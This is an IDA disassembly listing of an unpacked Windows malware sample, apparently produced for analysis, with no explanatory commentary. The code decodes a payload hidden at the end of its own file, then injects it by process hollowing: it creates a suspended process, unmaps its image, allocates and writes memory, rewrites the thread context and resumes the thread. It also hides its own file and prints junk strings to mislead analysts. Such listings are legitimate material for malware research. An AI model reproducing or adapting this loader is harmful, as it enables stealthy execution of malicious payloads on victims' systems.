;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 96A3617CD2628FF4BE0747BAFBF86530
; File Name : u:\work\96a3617cd2628ff4be0747bafbf86530_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000072ED ( 29421.)
; Section size in file : 000072ED ( 29421.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_401000(FILE *File,int,int,int,int)
sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+69p
var_13C4 = dword ptr -13C4h
var_13C0 = dword ptr -13C0h
var_13BC = dword ptr -13BCh
var_13B8 = dword ptr -13B8h
var_13B4 = dword ptr -13B4h
var_13B0 = dword ptr -13B0h
var_13AC = word ptr -13ACh
var_1370 = dword ptr -1370h
var_136C = byte ptr -136Ch
DstBuf = dword ptr -128Ch
var_1288 = dword ptr -1288h
var_1284 = dword ptr -1284h
var_1280 = dword ptr -1280h
var_127C = dword ptr -127Ch
var_1278 = dword ptr -1278h
File = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, 13C4h
call __alloca_probe
push ebx
mov ebx, [esp+13C8h+File]
push ebp
push 2 ; Origin
push 0 ; Offset
push ebx ; File
call _fseek
push ebx ; File
call _ftell
mov ebp, eax
mov eax, Offset
push 0 ; Origin
push eax ; Offset
push ebx ; File
sub ebp, eax
call _fseek
add esp, 1Ch
cmp ebp, 40h
jnb short loc_401048
pop ebp
xor al, al
pop ebx
add esp, 13C4h
retn
; ---------------------------------------------------------------------------
loc_401048: ; CODE XREF: sub_401000+3Bj
mov eax, Offset
push 0 ; Origin
push eax ; Offset
push ebx ; File
call _fseek
push ebx ; File
push 1 ; Count
lea ecx, [esp+13E0h+DstBuf]
push 40h ; ElementSize
push ecx ; DstBuf
call _fread
mov cl, byte_40B044
mov dl, byte_40B045
add esp, 1Ch
xor eax, eax
lea esp, [esp+0]
loc_401080: ; CODE XREF: sub_401000+94j
add byte ptr [esp+eax+13CCh+DstBuf], cl
add byte ptr [esp+eax+13CCh+DstBuf+1], dl
add eax, 2
cmp eax, 40h
jb short loc_401080
push esi
push edi
mov ecx, 10h
lea esi, [esp+13D4h+DstBuf]
lea edi, [esp+13D4h+var_13AC]
rep movsd
cmp [esp+13D4h+var_13AC], 5A4Dh
jnz loc_40115E
mov eax, [esp+13D4h+var_1370]
lea edx, [eax+18h]
cmp ebp, edx
jb loc_40115E
mov ecx, Offset
push 0 ; Origin
add ecx, eax
push ecx ; Offset
push ebx ; File
call _fseek
push ebx ; File
push 1 ; Count
lea edx, [esp+13E8h+DstBuf]
push 18h ; ElementSize
push edx ; DstBuf
call _fread
mov cl, byte_40B044
mov dl, byte_40B045
add esp, 1Ch
xor eax, eax
lea ebx, [ebx+0]
loc_401100: ; CODE XREF: sub_401000+114j
add byte ptr [esp+eax+13D4h+DstBuf], cl
add byte ptr [esp+eax+13D4h+DstBuf+1], dl
add eax, 2
cmp eax, 18h
jb short loc_401100
mov eax, [esp+13D4h+DstBuf]
mov ecx, [esp+13D4h+var_1288]
mov edx, [esp+13D4h+var_1284]
mov [esp+13D4h+var_13C4], eax
mov eax, [esp+13D4h+var_1280]
mov [esp+13D4h+var_13B8], eax
mov eax, [esp+13D4h+var_1278]
cmp ax, 0E0h
mov [esp+13D4h+var_13C0], ecx
mov ecx, [esp+13D4h+var_127C]
mov [esp+13D4h+var_13BC], edx
mov [esp+13D4h+var_13B4], ecx
mov [esp+13D4h+var_13B0], eax
jz short loc_40116B
loc_40115E: ; CODE XREF: sub_401000+B1j
; sub_401000+C0j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 13C4h
retn
; ---------------------------------------------------------------------------
loc_40116B: ; CODE XREF: sub_401000+15Cj
push ebx ; File
push 1 ; Count
lea edx, [esp+13DCh+DstBuf]
push 0E0h ; ElementSize
push edx ; DstBuf
call _fread
mov cl, byte_40B044
mov dl, byte_40B045
add esp, 10h
xor eax, eax
loc_401191: ; CODE XREF: sub_401000+1A7j
add byte ptr [esp+eax+13D4h+DstBuf], cl
add byte ptr [esp+eax+13D4h+DstBuf+1], dl
add eax, 2
cmp eax, 0E0h
jb short loc_401191
mov ecx, 38h
lea esi, [esp+13D4h+DstBuf]
lea edi, [esp+13D4h+var_136C]
rep movsd
movzx esi, word ptr [esp+13D4h+var_13C0+2]
lea esi, [esi+esi*4]
shl esi, 3
push esi ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
push ebx ; File
push 1 ; Count
mov ebp, eax
lea eax, [esp+13E0h+DstBuf]
push esi ; ElementSize
push eax ; DstBuf
call _fread
add esp, 14h
xor eax, eax
test esi, esi
jbe short loc_401215
mov cl, byte_40B044
mov dl, byte_40B045
jmp short loc_401200
; ---------------------------------------------------------------------------
align 10h
loc_401200: ; CODE XREF: sub_401000+1F4j
; sub_401000+213j
add byte ptr [esp+eax+13D4h+DstBuf], cl
add byte ptr [esp+eax+13D4h+DstBuf+1], dl
add eax, 2
cmp eax, esi
jb short loc_401200
loc_401215: ; CODE XREF: sub_401000+1E6j
mov ecx, esi
mov edx, ecx
mov eax, [esp+13D4h+arg_8]
shr ecx, 2
mov edi, ebp
lea esi, [esp+13D4h+DstBuf]
rep movsd
mov ecx, edx
mov edx, [esp+13D4h+var_13C0]
and ecx, 3
rep movsb
mov edi, [esp+13D4h+arg_4]
mov ecx, 10h
lea esi, [esp+13D4h+var_13AC]
rep movsd
mov ecx, [esp+13D4h+var_13C4]
mov edi, [esp+13D4h+arg_C]
mov [eax], ecx
mov ecx, [esp+13D4h+var_13BC]
mov [eax+4], edx
mov edx, [esp+13D4h+var_13B8]
mov [eax+8], ecx
mov ecx, [esp+13D4h+var_13B4]
mov [eax+0Ch], edx
mov edx, [esp+13D4h+var_13B0]
mov [eax+10h], ecx
mov [eax+14h], edx
mov eax, [esp+13D4h+arg_10]
mov ecx, 38h
lea esi, [esp+13D4h+var_136C]
rep movsd
pop edi
pop esi
mov [eax], ebp
pop ebp
mov al, 1
pop ebx
add esp, 13C4h
retn
sub_401000 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4012A0 proc near ; CODE XREF: WinMain(x,x,x,x)+90p
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_8]
mov ecx, [eax+3Ch]
push esi
mov esi, [eax+20h]
xor edx, edx
mov eax, ecx
div esi
push edi
test edx, edx
jnz short loc_4012BA
mov edi, ecx
jmp short loc_4012C0
; ---------------------------------------------------------------------------
loc_4012BA: ; CODE XREF: sub_4012A0+14j
lea edi, [eax+1]
imul edi, esi
loc_4012C0: ; CODE XREF: sub_4012A0+18j
mov eax, [esp+8+arg_4]
movzx eax, word ptr [eax+6]
test eax, eax
jle short loc_4012F9
push ebx
mov ebx, [esp+0Ch+arg_C]
push ebp
add ebx, 8
mov ebp, eax
loc_4012D7: ; CODE XREF: sub_4012A0+55j
mov ecx, [ebx]
test ecx, ecx
jz short loc_4012F1
xor edx, edx
mov eax, ecx
div esi
test edx, edx
jnz short loc_4012EB
add edi, ecx
jmp short loc_4012F1
; ---------------------------------------------------------------------------
loc_4012EB: ; CODE XREF: sub_4012A0+45j
inc eax
imul eax, esi
add edi, eax
loc_4012F1: ; CODE XREF: sub_4012A0+3Bj
; sub_4012A0+49j
add ebx, 28h
dec ebp
jnz short loc_4012D7
pop ebp
pop ebx
loc_4012F9: ; CODE XREF: sub_4012A0+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_4012A0 endp
; ---------------------------------------------------------------------------
align 10h
push esi
push offset aGfdMngMsnfdmgS ; "gfd,mng,msnfdmg sjhfdyutasdygf67asd5f54"...
call _printf
mov esi, [esp+0Ch]
mov ecx, [esp+10h]
xor edx, edx
mov eax, esi
div ecx
add esp, 4
test edx, edx
jnz short loc_401324
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_401324: ; CODE XREF: .text:0040131Ej
inc eax
imul eax, ecx
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_401330(FILE *File,int,int,int,int,int)
sub_401330 proc near ; CODE XREF: WinMain(x,x,x,x)+D9p
var_33294 = dword ptr -33294h
var_33290 = dword ptr -33290h
DstBuf = byte ptr -3328Ch
var_3328B = byte ptr -3328Bh
var_32000 = byte ptr -32000h
File = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, 33294h
call __alloca_probe
mov eax, Offset
push ebx
push ebp
push esi
mov esi, [esp+332A0h+File]
push edi
push 0 ; Origin
push eax ; Offset
push esi ; File
call _fseek
mov edx, [esp+332B0h+arg_8]
movzx eax, word ptr [edx+6]
mov ecx, [esp+332B0h+arg_C]
mov ebx, [ecx+3Ch]
add esp, 0Ch
test eax, eax
jle short loc_40138E
mov edx, [esp+332A4h+arg_10]
add edx, 14h
lea esp, [esp+0]
loc_401380: ; CODE XREF: sub_401330+5Cj
mov ecx, [edx]
cmp ecx, ebx
jnb short loc_401388
mov ebx, ecx
loc_401388: ; CODE XREF: sub_401330+54j
add edx, 28h
dec eax
jnz short loc_401380
loc_40138E: ; CODE XREF: sub_401330+3Dj
push esi ; File
push ebx ; Count
lea eax, [esp+332ACh+DstBuf]
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
xor ecx, ecx
test ebx, ebx
mov [esp+332A4h+var_33290], eax
jbe short loc_4013C3
mov al, byte_40B044
mov dl, byte_40B045
loc_4013B4: ; CODE XREF: sub_401330+91j
add [esp+ecx+332A4h+DstBuf], al
add [esp+ecx+332A4h+var_3328B], dl
add ecx, 2
cmp ecx, ebx
jb short loc_4013B4
loc_4013C3: ; CODE XREF: sub_401330+77j
mov ebp, [esp+332A4h+arg_14]
mov eax, [esp+332A4h+var_33290]
mov ecx, ebx
mov edx, ecx
shr ecx, 2
lea esi, [esp+332A4h+DstBuf]
mov edi, ebp
rep movsd
mov ecx, edx
and ecx, 3
cmp eax, ebx
rep movsb
jnz loc_401529
mov eax, [esp+332A4h+arg_C]
mov esi, [eax+20h]
mov edi, [eax+3Ch]
push offset aGfdMngMsnfdmgS ; "gfd,mng,msnfdmg sjhfdyutasdygf67asd5f54"...
call _printf
xor edx, edx
mov eax, edi
div esi
add esp, 4
test edx, edx
jnz short loc_401414
mov eax, edi
jmp short loc_401418
; ---------------------------------------------------------------------------
loc_401414: ; CODE XREF: sub_401330+DEj
inc eax
imul eax, esi
loc_401418: ; CODE XREF: sub_401330+E2j
add eax, ebp
mov [esp+332A4h+var_33294], eax
mov eax, [esp+332A4h+arg_8]
cmp word ptr [eax+6], 0
mov [esp+332A4h+var_33290], 0
jbe loc_40151C
mov ebp, [esp+332A4h+arg_10]
add ebp, 8
loc_401442: ; CODE XREF: sub_401330+1E6j
mov ebx, [ebp+8]
test ebx, ebx
jbe loc_4014CB
mov eax, [ebp+0]
cmp ebx, eax
jbe short loc_401456
mov ebx, eax
loc_401456: ; CODE XREF: sub_401330+122j
mov esi, Offset
mov ecx, [ebp+0Ch]
add ecx, esi
mov esi, [esp+332A4h+File]
push 0 ; Origin
push ecx ; Offset
push esi ; File
call _fseek
push esi ; File
push ebx ; Count
lea edx, [esp+332B8h+var_32000]
push 1 ; ElementSize
push edx ; DstBuf
call _fread
add esp, 1Ch
xor ecx, ecx
test ebx, ebx
jbe short loc_40149D
mov dl, byte_40B046
loc_401491: ; CODE XREF: sub_401330+16Bj
add [esp+ecx+332A4h+var_32000], dl
inc ecx
cmp ecx, ebx
jb short loc_401491
loc_40149D: ; CODE XREF: sub_401330+159j
mov edi, [esp+332A4h+var_33294]
mov ecx, ebx
mov edx, ecx
shr ecx, 2
lea esi, [esp+332A4h+var_32000]
rep movsd
mov ecx, edx
and ecx, 3
cmp eax, ebx
rep movsb
jnz short loc_401529
mov eax, [esp+332A4h+arg_C]
mov esi, [eax+20h]
mov edi, [ebp+0]
jmp short loc_4014DC
; ---------------------------------------------------------------------------
loc_4014CB: ; CODE XREF: sub_401330+117j
mov edi, [ebp+0]
test edi, edi
jz short loc_4014FD
mov ecx, [esp+332A4h+arg_C]
mov esi, [ecx+20h]
loc_4014DC: ; CODE XREF: sub_401330+199j
push offset aGfdMngMsnfdmgS ; "gfd,mng,msnfdmg sjhfdyutasdygf67asd5f54"...
call _printf
xor edx, edx
mov eax, edi
div esi
add esp, 4
test edx, edx
jz short loc_4014F9
lea edi, [eax+1]
imul edi, esi
loc_4014F9: ; CODE XREF: sub_401330+1C1j
add [esp+332A4h+var_33294], edi
loc_4014FD: ; CODE XREF: sub_401330+1A0j
mov edx, [esp+332A4h+arg_8]
mov eax, [esp+332A4h+var_33290]
movzx ecx, word ptr [edx+6]
inc eax
add ebp, 28h
cmp eax, ecx
mov [esp+332A4h+var_33290], eax
jl loc_401442
loc_40151C: ; CODE XREF: sub_401330+102j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 33294h
retn
; ---------------------------------------------------------------------------
loc_401529: ; CODE XREF: sub_401330+B6j
; sub_401330+18Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 33294h
retn
sub_401330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_401540 proc near ; CODE XREF: sub_4016F0+D3p
arg_8 = dword ptr 0Ch
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, [esp+arg_8]
mov ecx, [eax+88h]
test ecx, ecx
jz short locret_4015B7
mov edx, [eax+8Ch]
test edx, edx
jz short locret_4015B7
push ebp
mov ebp, [esp+4+arg_14]
push esi
push edi
mov edi, [esp+0Ch+arg_10]
lea esi, [ecx+edi]
mov ecx, [eax+1Ch]
mov eax, [esi+4]
sub ebp, ecx
test eax, eax
jz short loc_4015B4
push ebx
loc_401573: ; CODE XREF: sub_401540+71j
mov eax, [esi+4]
sub eax, 8
shr eax, 1
test eax, eax
lea edx, [esi+8]
jle short loc_4015AA
mov ebx, eax
loc_401584: ; CODE XREF: sub_401540+68j
xor ecx, ecx
mov cx, [edx]
mov eax, ecx
and eax, 0FFFh
add eax, [esi]
and ecx, 0F000h
add eax, edi
cmp ecx, 3000h
jnz short loc_4015A4
add [eax], ebp
loc_4015A4: ; CODE XREF: sub_401540+60j
add edx, 2
dec ebx
jnz short loc_401584
loc_4015AA: ; CODE XREF: sub_401540+40j
mov eax, [edx+4]
test eax, eax
mov esi, edx
jnz short loc_401573
pop ebx
loc_4015B4: ; CODE XREF: sub_401540+30j
pop edi
pop esi
pop ebp
locret_4015B7: ; CODE XREF: sub_401540+Cj
; sub_401540+16j
retn
sub_401540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4015C0 proc near ; CODE XREF: WinMain(x,x,x,x)+F8p
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 64h
push edi
xor eax, eax
mov [esp+68h+var_44], 0
mov ecx, 10h
lea edi, [esp+68h+var_40]
rep stosd
mov edi, [esp+68h+arg_4]
mov ecx, [esp+68h+arg_0]
push edi
lea eax, [esp+6Ch+var_44]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push ecx
push 0
call ds:dword_40900C ; CreateProcessA
test eax, eax
jz loc_401694
push ebx
push ebp
push esi
mov esi, [esp+74h+arg_8]
mov dword ptr [esi], 10007h
mov edx, [edi+4]
push esi
push edx
call ds:dword_409008 ; GetThreadContext
mov ecx, [esi+0A4h]
mov ebp, [esp+74h+arg_C]
mov edx, [edi]
lea eax, [esp+74h+var_64]
push eax
push 4
push ebp
add ecx, 8
push ecx
push edx
call ds:dword_409004 ; ReadProcessMemory
mov esi, [ebp+0]
mov ecx, [edi]
mov ebx, ds:dword_409000
push 1Ch
lea eax, [esp+78h+var_60]
push eax
push esi
push ecx
call ebx ; VirtualQueryEx
test eax, eax
jz short loc_401681
jmp short loc_401660
; ---------------------------------------------------------------------------
align 10h
loc_401660: ; CODE XREF: sub_4015C0+9Bj
; sub_4015C0+BFj
cmp [esp+74h+var_50], 10000h
jz short loc_401681
mov eax, [esp+74h+var_54]
push 1Ch
lea edx, [esp+78h+var_60]
add esi, eax
mov eax, [edi]
push edx
push esi
push eax
call ebx ; VirtualQueryEx
test eax, eax
jnz short loc_401660
loc_401681: ; CODE XREF: sub_4015C0+99j
; sub_4015C0+A8j
sub esi, [ebp+0]
mov [ebp+4], esi
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 64h
retn
; ---------------------------------------------------------------------------
loc_401694: ; CODE XREF: sub_4015C0+3Ej
xor eax, eax
pop edi
add esp, 64h
retn
sub_4015C0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+4]
mov ecx, [eax+88h]
test ecx, ecx
jz short loc_4016BE
mov ecx, [eax+8Ch]
test ecx, ecx
jz short loc_4016BE
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4016BE: ; CODE XREF: .text:004016ACj
; .text:004016B6j
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
xor al, al
retn
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+4]
push 0
push eax
call ds:dword_409010 ; TerminateProcess
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4016F0 proc near ; CODE XREF: WinMain(x,x,x,x)+170p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_1C = dword ptr 20h
arg_20 = dword ptr 24h
arg_2C = dword ptr 30h
arg_D0 = dword ptr 0D4h
arg_DC = dword ptr 0E0h
arg_2F8 = dword ptr 2FCh
arg_2FC = dword ptr 300h
push ebx
mov ebx, [esp+4+arg_2F8]
push ebp
mov ebp, [esp+8+arg_8]
cmp [ebp+1Ch], ebx
push esi
push edi
mov edi, [esp+10h+arg_14]
jnz short loc_40172F
mov eax, [esp+10h+arg_2FC]
cmp edi, eax
ja short loc_40172F
mov esi, [esp+10h+arg_1C]
lea ecx, [esp+10h+arg_8]
push ecx
push 40h
push eax
push ebx
push esi
mov dword_40B6FC, ebx
call ds:dword_409020 ; VirtualProtectEx
jmp short loc_40176A
; ---------------------------------------------------------------------------
loc_40172F: ; CODE XREF: sub_4016F0+16j
; sub_4016F0+21j
mov esi, [esp+10h+arg_1C]
push ebx
push esi
mov dword_40B6E8, esi
mov dword_40B6F0, ebx
call dword_40B700 ; ZwUnmapViewOfSection
test eax, eax
jz short loc_401752
cmp byte ptr [esp+10h+arg_8], 1
jnz short loc_40176A
loc_401752: ; CODE XREF: sub_4016F0+59j
mov edx, [ebp+1Ch]
push 40h
push 3000h
push edi
push edx
push esi
call ds:dword_40901C ; VirtualAllocEx
mov dword_40B6FC, eax
loc_40176A: ; CODE XREF: sub_4016F0+3Dj
; sub_4016F0+60j
mov eax, dword_40B6FC
test eax, eax
jnz short loc_4017D8
mov eax, [ebp+88h]
test eax, eax
jz loc_40186B
mov eax, [ebp+8Ch]
test eax, eax
jz loc_40186B
push 40h
push 3000h
push edi
push 0
push esi
call ds:dword_40901C ; VirtualAllocEx
test eax, eax
mov dword_40B6FC, eax
jz loc_40186B
mov ecx, [esp+10h+arg_C]
mov edx, [esp+10h+arg_4]
push eax
mov eax, [esp+14h+arg_10]
push eax
mov eax, [esp+18h+arg_0]
push ecx
push ebp
push edx
push eax
call sub_401540
mov eax, dword_40B6FC
add esp, 18h
test eax, eax
jz loc_40186B
loc_4017D8: ; CODE XREF: sub_4016F0+81j
mov edi, [esp+10h+arg_D0]
push offset aWriteprocessme ; "WriteProcessMemory"
push offset aKernel32_dll ; "kernel32.dll"
call ds:dword_409018 ; GetModuleHandleA
push eax
call ds:dword_409014 ; GetProcAddress
push 0
push 4
push offset dword_40B6FC
add edi, 8
push edi
push esi
call eax
mov ecx, [esp+10h+arg_0]
mov edx, [ecx+3Ch]
mov eax, dword_40B6FC
mov ecx, [esp+10h+arg_10]
mov [edx+ecx+34h], eax
mov eax, dword_40B6FC
cmp eax, ebx
mov [esp+10h+arg_2C], 10007h
jnz short loc_40183A
mov edx, [ebp+10h]
add edx, [ebp+1Ch]
mov [esp+10h+arg_DC], edx
jmp short loc_401846
; ---------------------------------------------------------------------------
loc_40183A: ; CODE XREF: sub_4016F0+139j
mov ecx, [ebp+10h]
add ecx, eax
mov [esp+10h+arg_DC], ecx
loc_401846: ; CODE XREF: sub_4016F0+148j
mov eax, [esp+10h+arg_20]
lea edx, [esp+10h+arg_2C]
push edx
push eax
mov dword_40B6F4, esi
mov dword_40B6E0, eax
call dword_40B704 ; SetThreadContext
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40186B: ; CODE XREF: sub_4016F0+8Bj
; sub_4016F0+99j ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn
sub_4016F0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, dword_40B6E0
push eax
mov byte_40B6F8, 1
call ds:dword_409024 ; ResumeThread
retn
; ---------------------------------------------------------------------------
align 10h
mov eax, dword_40B6E4
push 0
push eax
call ds:dword_409010 ; TerminateProcess
retn
; ---------------------------------------------------------------------------
align 10h
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
_WinMain@16 proc near ; CODE XREF: start+186p
var_524 = dword ptr -524h
var_520 = dword ptr -520h
var_51C = dword ptr -51Ch
var_518 = dword ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_4F0 = dword ptr -4F0h
var_4B0 = byte ptr -4B0h
var_3AC = dword ptr -3ACh
var_2CC = byte ptr -2CCh
hInstance = dword ptr 4
hPrevInstance = dword ptr 8
lpCmdLine = dword ptr 0Ch
nShowCmd = dword ptr 10h
sub esp, 524h
push ebx
push ebp
push esi
push edi
push 104h
lea eax, [esp+538h+var_4B0]
push eax
push 0
call ds:dword_40902C ; GetModuleFileNameA
push 6
lea ecx, [esp+538h+var_4B0]
push ecx
call ds:dword_409028 ; SetFileAttributesA
lea edx, [esp+534h+var_4B0]
push offset aRb ; "rb"
push edx ; char *
call _fopen
add esp, 8
test eax, eax
mov File, eax
jz loc_401AA6
lea ecx, [esp+534h+var_524]
push ecx ; int
lea edx, [esp+538h+var_3AC]
push edx ; int
lea ecx, [esp+53Ch+var_508]
push ecx ; int
lea edx, [esp+540h+var_4F0]
push edx ; int
push eax ; File
call sub_401000
add esp, 14h
test al, al
jz loc_401AA6
mov esi, [esp+534h+var_524]
push esi
lea eax, [esp+538h+var_3AC]
push eax
lea ecx, [esp+53Ch+var_508]
push ecx
lea edx, [esp+540h+var_4F0]
push edx
call sub_4012A0
add esp, 10h
push offset aVirtualalloc ; "VirtualAlloc"
push offset aKernel32_dll ; "kernel32.dll"
mov ebx, eax
call ds:dword_409018 ; GetModuleHandleA
push eax
call ds:dword_409014 ; GetProcAddress
push 40h
push 1000h
push ebx
push 0
call eax
mov ebp, eax
push ebp ; int
push esi ; int
lea eax, [esp+53Ch+var_3AC]
push eax ; int
mov eax, File
lea ecx, [esp+540h+var_508]
push ecx ; int
lea edx, [esp+544h+var_4F0]
push edx ; int
push eax ; File
call sub_401330
lea ecx, [esp+54Ch+var_520]
push ecx
lea edx, [esp+550h+var_2CC]
push edx
lea eax, [esp+554h+var_518]
push eax
lea ecx, [esp+558h+var_4B0]
push ecx
call sub_4015C0
mov edx, [esp+55Ch+var_51C]
mov eax, [esp+55Ch+var_520]
add esp, 28h
push edx
mov edx, [esp+538h+var_518]
push eax
mov eax, [esp+53Ch+var_514]
sub esp, 2CCh
mov edi, esp
sub esp, 10h
mov ecx, 0B3h
lea esi, [esp+818h+var_2CC]
rep movsd
mov ecx, esp
mov [ecx], edx
mov edx, [esp+818h+var_510]
mov [ecx+4], eax
mov eax, [esp+818h+var_50C]
mov [ecx+8], edx
mov edx, [esp+818h+var_524]
mov [ecx+0Ch], eax
lea ecx, [esp+818h+var_4B0]
push ecx
push ebx
push ebp
push edx
lea eax, [esp+828h+var_3AC]
push eax
lea ecx, [esp+82Ch+var_508]
push ecx
lea edx, [esp+830h+var_4F0]
push edx
call sub_4016F0
mov esi, ds:dword_409010
add esp, 300h
test eax, eax
jnz short loc_401A4F
mov eax, dword_40B6F4
push 0
push eax
call esi ; TerminateProcess
loc_401A4F: ; CODE XREF: WinMain(x,x,x,x)+183j
push offset aWriteprocessme ; "WriteProcessMemory"
push offset aKernel32_dll ; "kernel32.dll"
call ds:dword_409018 ; GetModuleHandleA
push eax
call ds:dword_409014 ; GetProcAddress
mov ecx, dword_40B6FC
mov edx, dword_40B6F4
push 0
push ebx
push ebp
push ecx
push edx
call eax
mov eax, dword_40B6E0
push eax
mov byte_40B6F8, 1
call ds:dword_409024 ; ResumeThread
mov cl, byte_40B6F8
test cl, cl
mov eax, dword_40B6F4
mov dword_40B6E4, eax
jnz short loc_401AA6
push 0
push eax
call esi ; TerminateProcess
loc_401AA6: ; CODE XREF: WinMain(x,x,x,x)+4Bj
; WinMain(x,x,x,x)+73j ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 524h
retn 10h
_WinMain@16 endp
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
; [000000E9 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; [00000159 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [0000008E BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _printf. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
_fast_error_exit:
cmp dword_40B710, 1
jnz short loc_401E7E
call __FF_MSGBANNER
loc_401E7E: ; CODE XREF: .text:00401E77j
push dword ptr [esp+4]
call __NMSG_WRITE
push 0FFh
call unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
_check_managed_app:
push 0
call ds:dword_409018 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_401EC2
mov ecx, [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 4550h
jnz short loc_401EC2
movzx eax, word ptr [ecx+18h]
cmp eax, 10Bh
jz short loc_401ED8
cmp eax, 20Bh
jz short loc_401EC5
loc_401EC2: ; CODE XREF: .text:00401EA1j
; .text:00401EAEj
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_401EC5: ; CODE XREF: .text:00401EC0j
xor eax, eax
cmp dword ptr [ecx+84h], 0Eh
jbe short locret_401EE9
cmp [ecx+0F8h], eax
jmp short loc_401EE6
; ---------------------------------------------------------------------------
loc_401ED8: ; CODE XREF: .text:00401EB9j
xor eax, eax
cmp dword ptr [ecx+74h], 0Eh
jbe short locret_401EE9
cmp [ecx+0E8h], eax
loc_401EE6: ; CODE XREF: .text:00401ED6j
setnz al
locret_401EE9: ; CODE XREF: .text:00401ECEj
; .text:00401EDEj
retn
; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND]
; [000001EE BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
align 10h
